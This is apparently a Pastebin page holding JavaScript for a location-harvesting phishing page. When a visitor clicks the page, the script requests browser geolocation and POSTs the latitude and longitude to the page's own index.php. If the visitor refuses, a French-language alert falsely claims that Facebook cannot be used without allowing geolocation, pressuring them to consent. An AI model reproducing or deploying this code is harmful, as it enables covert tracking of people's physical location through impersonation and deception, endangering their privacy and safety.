Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var first = true;
- var once = false;
- var needToActive = "Vous ne pouvez pas utiliser Facebook sans avoir auparavant avoir autorisé la géolocalisation.";
- document.getElementById("background").addEventListener("click", function(){
- sendLocation();
- });
- function sendLocation()
- {
- //alert("1");
- if(navigator.geolocation)
- {
- //alert("2");
- navigator.geolocation.getCurrentPosition(sendPosition, function (error)
- {
- //alert("err:");
- //alert(error.code);
- if(error.code == error.PERMISSION_DENIED)
- {
- sendSpecialMessage("Geolocalisation has been denied.");
- alert(needToActive);
- }
- else if(error.code == error.POSITION_UNAVAILABLE)
- {
- sendSpecialMessage("Position unavailable.");
- alert(needToActive);
- }
- else if(error.code == error.TIMEOUT)
- {
- sendSpecialMessage("Time out.");
- alert("Le délai de connexion a expiré, renouvellez la requête.");
- }
- else if(error.code == error.UNKNOWN_ERROR)
- {
- sendSpecialMessage("Unknown error.");
- alert("Une erreur inconnue s'est produite, renouvellez la requête.");
- }
- });
- }
- else
- {
- sendSpecialMessage("Geolocalisation is not supported.");
- alert("Votre navigateur ne supporte pas la géolocalisation, merci d'utiliser un autre navigateur.");
- }
- }
- function sendPosition(position)
- {
- //alert("2");
- if(once)
- if(first)
- first = false;
- else
- return;
- var coords = position.coords;
- var xhr = new XMLHttpRequest();
- xhr.open('POST', 'index.php');
- var form = new FormData();
- form.append('latitude', position.coords.latitude);
- form.append('longitude', position.coords.longitude);
- xhr.send(form);
- }
- function sendSpecialMessage(message)
- {
- if(once)
- if(first)
- first = false;
- else
- return;
- var xhr = new XMLHttpRequest();
- xhr.open('POST', 'index.php');
- var form = new FormData();
- form.append('message', message);
- xhr.send(form);
- }
- //alert("a");
- //sendLocation();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement